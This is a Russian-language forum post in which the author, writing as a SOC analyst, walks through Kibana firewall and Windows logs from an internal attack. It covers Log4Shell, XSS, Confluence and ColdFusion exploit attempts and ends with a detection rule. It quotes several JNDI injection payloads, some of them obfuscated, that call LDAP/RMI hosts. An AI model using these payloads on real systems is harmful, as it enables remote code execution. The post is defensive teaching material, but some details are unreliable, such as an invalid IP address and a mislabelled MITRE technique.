LIMB
Вход Регистрация

тема

SOC аналитик наблюдает атаку

mike_vazovski · · 0 ответов · 125 просмотров

Всем бандитам этого города этой подсети посвящается

На связи Майк, сегодня мы представим себя в роли SOC - аналитика и проведем РКИ - Расследование Компьютерного инцидента.

​
Что у нас есть:
Перед нами типовая инфраструктура некоторой  любой уважающей себя организации которая заботится о своих активах и безопасности в целом, далее мы будем смотреть и анализировать то, как и какая информация пуляется из точки А в точку Б, что она в себе несет и какая сторона чтото может понять.
Не удалось прогрузить медиа


Elasticsearch и Kibana: краткое техническое описание
Elasticsearch

​
  1. 1. Распределённая поисковая и аналитическая база данных с открытым исходным кодом
  2. 2.. Создана на основе Apache Lucene (движок полнотекстового поиска)
  3. 3. Предназначена для хранения, поиска и анализа больших объёмов данных в режиме реального времени
  4. 4. Работает как документоориентированная база данных NoSQL (данные хранятся в формате JSON)
  5. 5. Использует инвертированные индексы для обеспечения высокой скорости поиска
  6. 6. Поддерживает сложные запросы с агрегацией (статистический анализ данных)
  7. 7. Масштабируется горизонтально (добавление узлов для повышения производительности)
  8. 8. Обеспечивает REST API для взаимодействия с данными
  9. 9. Оптимизирована для работы с временными рядами (данными временных рядов)

Kibana​

1. Визуализационный фронтенд для Elasticsearch
2. Предоставляет интерфейс для поиска, анализа и визуализации данных из Elasticsearch
3. Позволяет создавать интерактивные дашборды с графиками, диаграммами и картами
4. Включает инструменты:
5. Discover: для просмотра и фильтрации необработанных данных
6. Библиотека Visualize: для создания графиков и диаграмм
7. Объектив: для быстрого создания визуализаций
8. Панель управления: для объединения визуализаций в единый интерфейс
9. Инструменты разработчика: для выполнения запросов к Elasticsearch API
10. Управление: настройка индексов и шаблонов
11. Поддерживает настройку оповещений на основе данных
12. Используется для мониторинга, анализа журналов и выявления аномалий


Спойлер: Как они работают вместе?
Elasticsearch выступает в роли механизма хранения и обработки данных, а Kibana — в роли интерфейса для взаимодействия с этими данными. В контексте анализа безопасности (как в вашем случае):
Спойлер: Как они работают вместе?
Сетевые журналы нормализуются и загружаются в Elasticsearch
Kibana предоставляет интерфейс для поиска по этим журналам
Можно создавать информационные панели для мониторинга атак через порт 445
Система позволяет создавать корреляционные правила для обнаружения сложных атак

Такое сочетание делает Elastic Stack мощной платформой для анализа безопасности, особенно при работе с большими объемами сетевых журналов.



Почему пентестеру необходимо понимать, как работает SOC

1. Эффективное обнаружение «слепых зон»

Пентестер, разбирающийся в процессах SOC, может:



Выявлять пробелы в корреляционных правилах (например, в Elastic SIEM)

Тестировать сценарии, которые не вызывают предупреждений в системе

Определять, какие этапы цепочки убийств остаются незамеченными

2. Реалистичное моделирование атак

Современные злоумышленники учитывают наличие SOC при проведении атак

Понимание процесса обнаружения позволяет тестировать реальные тактики (TTP)

Пример: при тестировании атак через порт 445 необходимо знать, какие SMB-команды (0x24, 0x2f) вызывают оповещения в системе

3. Практические рекомендации

Вместо абстрактных советов предлагайте конкретные улучшения для текущей платформы SIEM

Пример: изменение корреляционных правил в формате YAML для Elastic Stack

Указание точных параметров для улучшения обнаружения (пороговые значения, фильтрация)

4. Оценка эффективности обнаружения

Проверка скорости обнаружения атаки системой SOC

Анализ ложных срабатываний и пропущенных инцидентов

Оценка качества существующих правил (как в предоставленном файле result.csv)

5. Специфические навыки для современного пентестера

Знание принципов работы SIEM (Elasticsearch/Kibana)

Нормализация логов и корреляция событий

Умение создавать тестовые сценарии с учётом особенностей платформы.


И так, начинаем!
1. Интерфейс
Не удалось прогрузить медиа
​
Перед нами админка с настроенным журналом с УЖЕ СФОРМИРОВАННЫМИ ЖУРНАЛАМИ

Отображение журналов​

Журналы отображаются в виде таблицы, где каждая строка — это отдельное событие. Столбцы содержат следующую информацию:
  • Дата и время: когда произошло событие.
  • Источник (source): IP-адрес или имя хоста, с которого исходит трафик или выполняется действие.
  • Назначение (destination): IP-адрес или имя хоста, на который направляется трафик или действие.
  • Тип события (event.type): Описание типа события (например, network, authentication, process).
  • Описание (message): Подробное описание события, часто содержащее технические детали (например, идентификатор уязвимости, название атаки).
  • Статус (action): Что было сделано в связи с этим событием (например, Block, Permit, Allow).
  • Не удалось прогрузить медиа

Каждый журнал пишется по совокупности правил которые клиент отправляет серверу, некоторого рода сучила, которому говорят на какого и в каких случаях стучать своему протежэ

Первым делом злоумышленник пробивает доступ в локальную сеть. Какой бы исход у этого события не был, в уважающей себя организации дядя с толстым кошельком платит 20-30 процентов на безопасность, и тот самый SOC 1 линии наблюдает, мониторит и принимает решение на отражение кибер атаки, как уже писали мои коллеги ранее - Брут, Эксплоит, RCE/LFI/XSS - если мы говорим про какуюто вэбку

ситуация: Смена или отдел мониторинга имеет в своем распоряжении журнал sora-monitor-normalized Это значит, что все хостовые машины имеют сенсор



Сенсор и агент на хосте: краткое техническое объяснение -> Сенсор (Sensor)
Пассивный компонент системы безопасности, размещаемый на хосте
Основная функция: мониторинг и сбор данных без вмешательства в работу системы
Примеры:
Сетевой сенсор (pcap-анализ трафика)
Сенсор целостности файлов (FIM)
Сенсор событий Windows (сбор Security Event Log)
В контексте вашего CSV-файла: сенсор мог собирать события запуска процессов (ID 4688)
Агент (Agent) -> Активный компонент с возможностью взаимодействия с центральным сервером
Основные функции:
Сбор данных (логи, процессы, сетевые соединения)
Локальный анализ и применение правил
Выполнение команд от центрального сервера
Отправка данных в SIEM (Elasticsearch)
Примеры агентов:
Filebeat/Metricbeat (Elastic Stack)
Microsoft Defender for Endpoint
Splunk Universal Forwarder

Это значит, что каждая машина, которая подвергается информационному воздействию, по некоторому правилу анализирует весь входящий трафик, анализирует, корелирует его по некоторому правилу, которое задается сервером и рассылается как групповая политика на хостовую машину. Когда машину начинают атаковать, она об этом сообщает своему папке - отправляет эту информацию в виде json или xml формате и мы на стороне смены мониторинга получаем событие, по совокупности событий мы принимаем решение, что с этим делать.

Далее я проложу файл с логами этого журнала, чтобы каждый из вас смог его скачать, скормить в Exel или какой-то GPT и поковыряться в нем
К сожалению, у меня есть только журнал который содержит корелированные события атаки внутри сети, минуя обход МСЭ, потомучто бедолага в последний момент зажопил доступ

Не удалось прогрузить медиа

DropMeFiles – free one-click file sharing service

Share your pictures, send large videos, exchange music or transfer big files. No registration required. Unlimited upload/download speed.
Не удалось прогрузить медиа
dropmefiles.com
 - логи 

Не удалось прогрузить медиа


К сожалению, на момент когда я захотел написать эту статью, половину материалов  с детальными скриншотами восстановить не удалось, вот что осталось из отчета



Центр обработки инцидентов информационной безопасности (SOC) ежедневно сталкивается с тысячами событий. Задача аналитика — отличить «шум» от реальной угрозы. Ниже приведён пошаговый подход к анализу, основанный на ваших данных.

​

спойлер: далее без скриншотов

Шаг 1: Понимание источников данных​

Перед анализом важно понимать, что представляют собой ваши данные:
  1. firewall.csv— это логи сетевого экрана (межсетевого экранирования).
    • Фиксирует входящие и исходящие сетевые соединения.
    • Содержит информацию о попытках эксплуатации уязвимостей, блокировке вредоносного трафика и аномальном поведении.
    • Фиксирует события на уровне хоста (рабочих станций и серверов).
    • Ключевое событие здесь — Event ID 4688: запуск нового процесса.
    • Позволяет отследить, какие программы были запущены, от имени какого пользователя и с какого пути.


Шаг 2: Выявление сетевых аномалий (анализ firewall.csv)​

1. Поиск массовых атак с одного IP​

Анализ показывает, что несколько атак исходят с одного источника:
  • IP 10.200.201.208 пытается использовать JNDI Injection (Log4Shell, ID 40627)для атаки на разные хосты:
    • 10.9.9.30 (Oct 4, 2025 @ 21:52:17)
    • 10.200.200.20 (Oct 4, 2025 @ 21:53:24)
  • Это классический признак сканирования или активной кампании по эксплуатации уязвимости.
 Вывод: IP 10.200.201.208 подозрителен. Его нужно немедленно заблокировать и проверить, не является ли он частью ботнета.

2. Обнаружение использования критических уязвимостей​

В логах встречаются известные опасные уязвимости:
  • 40627: JNDI Injection — позволяет выполнить произвольный код на Java-серверах (Log4Shell).
  • 40260: OGNL Injection в Atlassian Confluence — позволяет получить контроль над сервером.
  • 27410: Command Injection в Apache Struts — удалённое выполнение команд.
  • 10146: Directory Traversal в Adobe ColdFusion — доступ к файлам за пределами корневой директории.
  • 16798: Remote Code Execution в GNU Bash (Shellshock) — выполнение кода через заголовки HTTP.
 Признак атаки: одновременно используются несколько разных уязвимостей — это тактика «грубого поиска уязвимостей». Злоумышленник пытается найти хоть одну слабую точку.

3. Анализ целей атаки​

Цели распределены по всему диапазону IP-адресов:
  • 10.9.9.x — возможно, серверы домена.
  • 10.10.20.x, 10.200.200.x, 192.168.10.x — рабочие станции и внутренние сервисы.
  • Особое внимание — атакам на 10.9.9.1 и 10.9.9.30 — возможно, это контроллер домена или сервер баз данных.
 Рискованная цель: Атака на 10.9.9.1 с использованием JNDI Injection крайне опасна. В случае успеха злоумышленник может получить доступ ко всей инфраструктуре домена.

4. Внимание к разрешённым (Permit) атакам​

Некоторые атаки не были заблокированы, а были разрешены:
  • "Oct 4, 2025 @ 21:52:12.000", ..., "40260: ...", ..., Permit
  • "Oct 4, 2025 @ 21:50:11.000", ..., "40260: ...", ..., Permit

 Критическая уязвимость: Уязвимость 40260 (внедрение OGNL в Confluence) была устранена. Это означает, что трафик прошёл через межсетевой экран. Даже если сама система не скомпрометирована, это указывает на ошибку в политике безопасности.


Шаг 3. Анализ активности в конечных точках (результат анализа (1).csv)​

Теперь проверим, есть ли следы проникновения на уровне хостов.

1. Поиск подозрительных процессов​

Событие 4688 (создание процесса) — ключевое для обнаружения атаки.
Анализ показывает:

  • На хостах 192.168.10.20, 192.168.10.22, 10.10.20.110, 10.10.20.120 часто запускается webstorm64.exe (JetBrains WebStorm — IDE).
  • Одновременно запускаются процессы java.exe из C:\Program Files (x86)\Java\jdk1.8.0_311\bin\.
  • Также видны запуски GitHubDesktop.exe из папки Downloads.
 Подозрительный шаблон: Программы из папки Downloads и использование JDK (Java Development Kit) могут указывать на запуск вредоносного Java-приложения, например эксплойта или бэкдора.
Анализ журналов брандмауэра (firewall.csv)
1. Общая статистика

Период сбора данных: 4 октября 2025 г., 21:44 — 21:53 (10 минут)
Всего событий: 65 записей
Блокировок (Block): 58 (89,2 %)
Разрешений (Permit): 7 (10,8 %)
Типы атак: 15 различных уязвимостей/атак

2. Источники вредоносной активности
Топ-5 атакующих IP-адресов:
10.200.201.208 — 12 атак (внедрение JNDI, Log4j)
Цели: 10.200.200.1, 10.200.200.10, 10.200.200.11 и др.
10.200.200.244 — 5 атак (XSS, эксплойт ism.dll)
Цели: 192.168.10.20, 10.200.200.1
10.9.9.87 — 4 атаки (XSS)
Цели: 10.9.9.1, 10.9.9.30
10.200.200.275 — 3 атаки (myPHPNuke, XSS)
Цели: 10.200.200.245, 10.200.200.1
10.10.20.87 — 3 атаки (XSS)

Цели: 10.10.20.110, 10.10.20.120
Внешние источники:
141.115.7.100 (XSS)
150.135.6.100 (уязвимость Pollit)
150.168.2.100 (XSS)
153.137.8.100 (XSS)
206.182.3.100 (ColdFusion)
236.159.10.100 (XSS)
115.156.10.100 (обнаружение среды выполнения Java)

3. Порты взаимодействия
Топ портов назначения:
HTTP (неявно 80/443) — 52 записи (80 %)
Указано как «HTTP/HTTP» в поле протокола
Порт 50162 — 4 записи (внедрение JNDI)
Пример: authpage/${jndi:ldap://10.200.200.30:50162/nessus}
Порт 1389 — 3 записи (внедрение JNDI)
Пример: authpage/${jndi:dns://10.9.9.30::1389}
Порт 1099 — 2 записи (внедрение JNDI

4. Протоколы взаимодействия
HTTP/HTTP — 48 записей (73,8 %)
Основной протокол для всех атак на веб-приложения
TCP — 17 записей (26,2 %)
Используется для атак с внедрением кода JNDI и некоторых других

5. Типы атак и уязвимости
Топ-5 атак:

Межсайтовый скриптинг (предупреждение)— 15 записей (23,1 %)
ID: 12365
Пример: 12365: HTTP: Cross Site Scripting (Alert)
Внедрение JNDI в HTTP-запрос — 12 записей (18,5 %)
ID: 40627 (уязвимость Log4j)
Пример: authpage/${jndi:ldap://10.200.200.30:50162/nessus}
Межсайтовый скриптинг в GET-запросе — 8 записей (12,3 %)
ID: 2023
Обход каталога Adobe ColdFusion — 5 записей (7,7 %)
ID: 10146
Эксплойт ism.dll — 4 записи (6,2 %)
ID: 1050
Другие значимые атаки:
Внедрение команды в Webmin password_change.cgi (ID: 36069)
RCE в HTTP-заголовке GNU Bash (ID: 16798)
Внедрение OGNL в Atlassian Confluence (ID: 40260)
Доступ к VMware Workspace ONE через SSTI (идентификатор: 41205)
Внедрение команд в строку запроса PHP-CGI (ID: 12348)

6. Анализ атак с внедрением JNDI (Log4j)
Атаки с использованием уязвимости Log4j (CVE-2021-44228) составляют 18,5 % от всех инцидентов. Особенности:
Разнообразие полезных нагрузок:
Обычный LDAP: ${jndi:ldap://10.200.200.30:50162/nessus}
С обфускацией: ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://192.168.10.20:/Binary}
В кодировке Base64: ${${base64:JHtqbmRpOmxkYXA6YWRkcn0=}}
С использованием обфускации через переменные: ${${upper:j}${lower:n}${lower:d}${lower:i}${lower::}${lower:l}${lower:d}${lower:a}${lower}${lower::}${lower:/}${lower:/}${lower:1}${lower:2}${lower:7}${lower:.}${lower:0}${lower:.}${lower:0}${lower:.}${lower:1}${lower::}${lower:1}${lower:0}${lower:9}${lower:9}${lower:/}${lower}${lower:b}${lower:j}}
Целевые хосты:
10.200.200.1 (основной контроллер домена)
10.200.200.10, 10.200.200.11 (сервисы)
10.200.200.245, 10.200.200.30 (критически важные серверы)

7. Корреляция с журналами событий Windows (result.csv)
Связь между сетевыми атаками и событиями на хостах:
Атаки с внедрением JNDI (firewall.csv) коррелируют с событиями запуска процессов (4688) в файле result.csv
Например, атаки на 10.200.200.1 соответствуют событиям на dc1.inseca.domain.net
XSS-атаки связаны с событиями аутентификации (4625) в файле result.csv
Неудачные попытки входа на хосты, подвергшиеся атакам
Целевые хосты:
10.200.200.1 → dc1.inseca.domain.net (контроллер домена)
10.10.20.110 → insecalab2.inseca.domain.net
10.10.20.120 → insecalab3.inseca.domain.net
10.10.20.130 → insecalab4.inseca.domain.net
192.168.10.20 → insecaadmin1.inseca.domain.net

8. Тактика MITRE ATT&CK
Обнаруженные атаки соответствуют следующим тактикам MITRE ATT&CK:
Первоначальный доступ (TA0001)
T1190: использование общедоступных приложений (веб-уязвимостей)
T1200: использование уязвимости в цепочке поставок (Log4j)
Исполнение (TA0002)
T1059: интерпретатор команд и сценариев (уязвимости RCE)
T1203: эксплуатация для выполнения команд клиента
Настойчивость (TA0003)
T1505.003: веб-оболочка (через уязвимости веб-приложений)
Уклонение от защиты (TA0005)
T1027: Запутанная структура файлов или информации (обфускация полезной нагрузки JNDI)

Итак, мы пришли к тому, как выглядело бы правило кореляции, точнее - одно из тысяч правил, которое позволит обнаружить беду 
Rich (BB code):
 "Advanced Web Application Attack Detection"
description: "Detects sophisticated web application attacks including Log4j, XSS, and RCE"
severity: critical
index: "sora-firewall-нормализовано"
query: |
(destination.port: (80 OR 443) AND
(
(event_id: "40627" AND payload: "*${jndi:*") OR
(event_id: ("12365" OR "2023") AND payload: "*<script>*") OR
(event_id: ("10146" OR "36069" OR "16798"))
)
)
| stats
count() as total_events,
dc(event_id) as unique_attack_types,
max(bytes_in) as max_bytes
by source.ip, destination.ip
| where
total_events > 3 OR
(unique_attack_types > 2 AND max_bytes > 10000)
| sort total_events desc
tags:
- "web"
- "application"
- "rce"
- "log4j"
mitre_attack:
- "T1190" # Exploit Public-Facing Application
- "T1059" # Command and Scripting Interpreter
- "T1027" # Obfuscated Files or Information
suppression:
time_window: "5m"
threshold: 3
by: "source.ip"
response_actions:
- "block_ip: source.ip"
- "alert: SOC_team"
- "create_ticket: priority=high"
[/CODE][/CODE]

как то так братва, не судите строго. У меня была возможность поработать в этой админке, и я поделился её содержимым с вами, не судите строго, если нихуй не понятно - скармливайте в свою поднятую инфраструктуру и через веб интерфейс наглядно смотрите что от его.
Думаю, что всем сторонам инфобеза полезно будет понимать данные процессы, так как тут присутствует стек сетевый технологий, архитектуры веб систем, а также рансом, анализ защищенности и фиолетовая сторона.


Всем холодного пива и БэЭнВэ Аэрбек под жопой!

Майк Вазовски
​
👍8 ❤️1 😢1

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.